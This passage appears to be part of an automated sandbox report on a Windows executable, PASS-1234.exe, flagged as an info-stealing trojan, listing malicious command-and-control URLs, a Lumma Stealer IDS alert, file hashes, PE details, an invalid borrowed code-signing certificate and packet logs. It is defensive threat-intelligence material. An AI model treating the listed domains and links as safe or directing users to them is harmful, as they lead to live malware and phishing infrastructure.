https://productivelookewr.shop/	RegAsm.exe, 00000001.00000002.1747903838.0000000001562000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1747804223.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1747804223.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://productivelookewr.shop/apis	RegAsm.exe, 00000001.00000002.1748220978.00000000037C9000.00000004.00000800.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.11.250	productivelookewr.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429198
Start date and time:	2024-04-21 09:04:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PASS-1234.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 27 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 40.126.28.12, 40.126.28.19, 40.126.7.35, 40.126.28.13, 40.126.28.20, 40.126.28.14, 40.126.28.23, 40.126.7.32
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, umwatson.events.data.microsoft.com, login.msa.msidentity.com, www.tm.lg.prod.aadmsa.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:04:56	API Interceptor	7x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9saW5rLm1haWwuYmVlaGlpdi5jb20vbHMvY2xpY2s/dXBuPXUwMDEucklvcWRaR1R1SGJzNzQ0S21jWTQzbm9GN25FNXlXdTZFcUlEQ1JQVW5LVlRsVDF5N0p0RTVORGVVSmxOU254Uk82V2lWVzB6akF4aVNnRXQ4S0dzZUdDb3N4OE9CV0tIQ1VyMmlaRXQ0LTJCM2EtMkZuWXhLOHNYNW1IZ0ZPZFd1VHpnUmNyMHdMYk52c0NadXktMkZiSXRoVDI4bi0yRjdCUy0yQmVINGxDRVExVTQxQU5xSS0zRFhBa0FfdWpTUjJaZ1VvcFZ3R0Y1eWNMcm5nS0Y1andZVnZoMHVzbGExV2Z5ZUs2QXJvYzFDOXFaY3NKZHlBVHNhVnFnZmxkNjlSOE1FQ3J6dHdtVUw5QkliUXRiM1VjUEwxanplbGNyNG1jZGFhdlZNZFE0ejA0ZHFqRC0yRkR4RVlVV1lLM3BjNTBsREpndVd5Z0NZMEZ2LTJGdG9kUkpjSzNjRlYwcDdMYS0yQlh1NjRveEtqVkpFUkV3WGJSekN0dTlZazJBSmgwQVVNeUxiOTVXWlBiTmxOQjlmTXRhbm41aDY2eDByMm5nR2k5QmJkLTJCdWd1Ync2Z092blJheXlKLTJGYXB3eHBSSHpxZHZER21pREhpR09kemxvQVRJQWkxMWR5ZWhpazY3NDRzQ2E3dzl0MWZqU2JvTWpXd1dvdXlVaDJPd0VyLTJCOHJDZTB1VjF6clJDTi0yQjh6Z2R4Y1JibkZ1a3JtNGVJbU5WQUJnSFMtMkZ1S2RrUDdrZkUxUm9PWlVGdWU3bzZkLTJGY3FpMUx2VXVpbW9VbmxzMjRseXRVQzNQdUpiOVlDZ0Zoc29LRlZOMUxvZXloOFFGTERUaEN4VjE5UC0yRmxCWTRpZURUI2V4cGVkaXRpbmdAYmVpbi5jb20=	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.37
	https://modemultiple.pages.dev/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://private.document-projeect.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	https://document.propoosale-team.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	https://pkp.jzw.mybluehost.me/wp-content/d/d/	Get hash	malicious	Unknown	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.21.11.250
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.11.250
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	hta.hta	Get hash	malicious	Unknown	Browse	104.21.11.250

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.529944218392288
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PASS-1234.exe
File size:	1'229'424 bytes
MD5:	91a6507a51ddcf98f542e89c58b9a17e
SHA1:	870a96273698fc67cf145a7601fc3892671eea22
SHA256:	aca438e378d0fd7abdb1fc1f7cc9acdc279dbd399fda98f8078a99a4a24e537a
SHA512:	cdc5aa3b28e69e119c1415ce760d6cd6633eb5ab98834d609ec198b212614ad49d1f9e5c11f44507522eaf7b1bf39d5d9d20064df5259a358951e15f05154e48
SSDEEP:	24576:zkeQ/Joxh1oVZM8YWmwZ+Y3DkUU78T0KPTXBsn1F9/GAApP1aqNt+:Xxh1oVZMY31snDNrABYqS
TLSH:	DC45CF2179C49072EDE720B746ECBA3682ADE4B0471516CB07DC5BEED7606C27F32686
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3.h.0...3.h.6...3.h.7...3.y77...3.y70...3.h.2...3...2...3.y76...3.H46...3.H4....3.H41...3.Rich..3.........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4011d1
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6624AD91 [Sun Apr 21 06:09:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	6c2d283aa2105be58188e49b58a6bdd2

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert EV Code Signing CA (SHA2), OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	08/10/2020 01:00:00 12/10/2023 13:00:00
Subject Chain	CN=ASUSTeK COMPUTER INC., O=ASUSTeK COMPUTER INC., L=Beitou District, S=Taipei City, C=TW, SERIALNUMBER=23638777, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=TW
Version:	3
Thumbprint MD5:	332CDC164B1324C3FF3F64E228C5FFFC
Thumbprint SHA-1:	CBFB3D25134A5FF6FCF2924D5B4BE16194EA7E13
Thumbprint SHA-256:	531855F05B9D55E4F6DDEBC443706382DDB9ACBD2B8AB24004822BE204420943
Serial:	0C9838F673F9B1CCE395CFAB2B6684E4

Entrypoint Preview

Instruction
jmp 00007F0CCCC30345h
jmp 00007F0CCCC55D36h
jmp 00007F0CCCC2F530h
jmp 00007F0CCCC388D0h
jmp 00007F0CCCC21EDBh
jmp 00007F0CCCC0BE4Ch
jmp 00007F0CCCC92C81h
jmp 00007F0CCCC224BAh
jmp 00007F0CCCC56AB4h
jmp 00007F0CCCC97B8Bh
jmp 00007F0CCCC0720Ah
jmp 00007F0CCCC31480h
jmp 00007F0CCCC41402h
jmp 00007F0CCCC1A5B4h
jmp 00007F0CCCC02989h
jmp 00007F0CCCC44CAEh
jmp 00007F0CCCC095A5h
jmp 00007F0CCCC059C5h
jmp 00007F0CCCC826EFh
jmp 00007F0CCCC02445h
jmp 00007F0CCCC51257h
jmp 00007F0CCCC6DBDFh
jmp 00007F0CCCC1E997h
jmp 00007F0CCCC5F240h
jmp 00007F0CCCC2ACC9h
jmp 00007F0CCCC3949Ah
jmp 00007F0CCCC02DD1h
jmp 00007F0CCCC699EEh
jmp 00007F0CCCC90723h
jmp 00007F0CCCC1836Dh
jmp 00007F0CCCC32DFCh
jmp 00007F0CCCC44C74h
jmp 00007F0CCCC8D72Ch
jmp 00007F0CCCC7C911h
jmp 00007F0CCCC79A83h
jmp 00007F0CCCC1AB01h
jmp 00007F0CCCC393B7h
jmp 00007F0CCCC5EA39h
jmp 00007F0CCCC5EA20h
jmp 00007F0CCCC2F797h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12620c	0x3c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x128000	0x595	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x129c00	0x2670	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x129000	0x4810	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xbec50	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xbeb68	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x126000	0x20c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb0798	0xb0800	bc036925ff26378c4f32254f050aca9b	False	0.3322110702903683	data	5.8344330209166975	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb2000	0x14e9c	0x15000	12a8026f7cb82d532eda30aedd92a396	False	0.285888671875	data	3.7090415644290298	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc7000	0x5ed00	0x5d200	d0cef833d463a24fe9297b6d7daff38a	False	0.8175597734899329	data	7.237379033791951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x126000	0xce4	0xe00	3c03556465a808a15dfebc0547c07175	False	0.33677455357142855	data	4.3866801583830926	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x127000	0x10e	0x200	538eede3a8efee153c6ea7cecee5ea41	False	0.03515625	data	0.11055713125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x128000	0x595	0x600	f56dc87fbf96485eb492de1e12eca98a	False	0.4283854166666667	data	3.988375491483662	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x129000	0x563b	0x5800	d7343ca5ad0f878c7fdd0b0d9d9dd7bc	False	0.6222478693181818	data	5.962106940053917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1280a0	0x378	data	English	United States	0.44144144144144143
RT_MANIFEST	0x128418	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

ADVAPI32.dll

RegDisablePredefinedCache

KERNEL32.dll

CloseHandle, WaitForSingleObjectEx, CreateRemoteThread, VirtualProtect, FormatMessageA, LocalFree, GetLocaleInfoEx, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetStringTypeW, CompareStringEx, GetCPInfo, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, GetCurrentProcess, TerminateProcess, CreateFileW, RaiseException, RtlUnwind, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, GetCurrentThread, HeapAlloc, HeapFree, GetDateFormatW, GetTimeFormatW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, SetConsoleCtrlHandler, HeapReAlloc, GetTimeZoneInformation, OutputDebugStringW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetProcessHeap, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/21/24-09:04:55.909755	UDP	2049958	ET TROJAN Lumma Stealer Related Domain in DNS Lookup (sideindexfollowragelrew .pw)	55278	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 09:04:56.191524982 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.191567898 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.191637039 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.195146084 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.195162058 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.429863930 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.430047989 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.431646109 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.431653976 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.432189941 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.477598906 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.480608940 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.480634928 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.480979919 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.957777023 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.958048105 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.958132029 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.960956097 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.960972071 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.965198994 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.965313911 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:56.965413094 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.965858936 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:56.965939999 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.192219019 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.192316055 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.205641985 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.205719948 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.206602097 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.216793060 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.216794014 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.217015982 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734230995 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734391928 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734498024 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.734527111 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734636068 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734714031 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.734724998 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734872103 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.734925985 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.734935999 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735085011 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735138893 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.735148907 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735296965 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735351086 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.735359907 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735505104 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735558033 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.735567093 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735759020 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735816956 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.735867977 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.735896111 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.735922098 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.735935926 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.771289110 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.771368027 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.771492004 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.771807909 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:57.771843910 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.998644114 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:57.999130964 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.000071049 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.000149965 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.001127958 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.002157927 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.002284050 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.002402067 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.002496004 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.002574921 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.546812057 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.547041893 CEST	443	49744	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.547328949 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.547329903 CEST	49744	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.570653915 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.570699930 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.570775032 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.571043015 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.571053982 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.801445961 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.801547050 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.802778959 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.802791119 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.803921938 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:58.805057049 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.805164099 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:58.805213928 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.338597059 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.338867903 CEST	443	49745	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.338931084 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.338973045 CEST	49745	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.400651932 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.400732994 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.400851965 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.401273966 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.401354074 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.626473904 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.626676083 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.627823114 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.627872944 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.628396034 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.629601002 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.629764080 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.629833937 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:04:59.629925966 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:04:59.629944086 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.182255030 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.182543993 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.182701111 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.183147907 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.183207989 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.248697042 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.248776913 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.248881102 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.249275923 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.249358892 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.473462105 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.473781109 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.474813938 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.474865913 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.475442886 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.476694107 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.476775885 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.476852894 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.984888077 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.985186100 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:00.985420942 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:00.985420942 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.001167059 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.001204967 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.001272917 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.001543999 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.001557112 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.228846073 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.228920937 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.230165005 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.230174065 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.231183052 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.232353926 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.232439995 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.232601881 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.290359020 CEST	49747	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:01.290420055 CEST	443	49747	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.746011019 CEST	443	49748	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:01.746225119 CEST	49748	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.107943058 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.108036041 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.108136892 CEST	49749	443	192.168.2.4	104.21.11.250
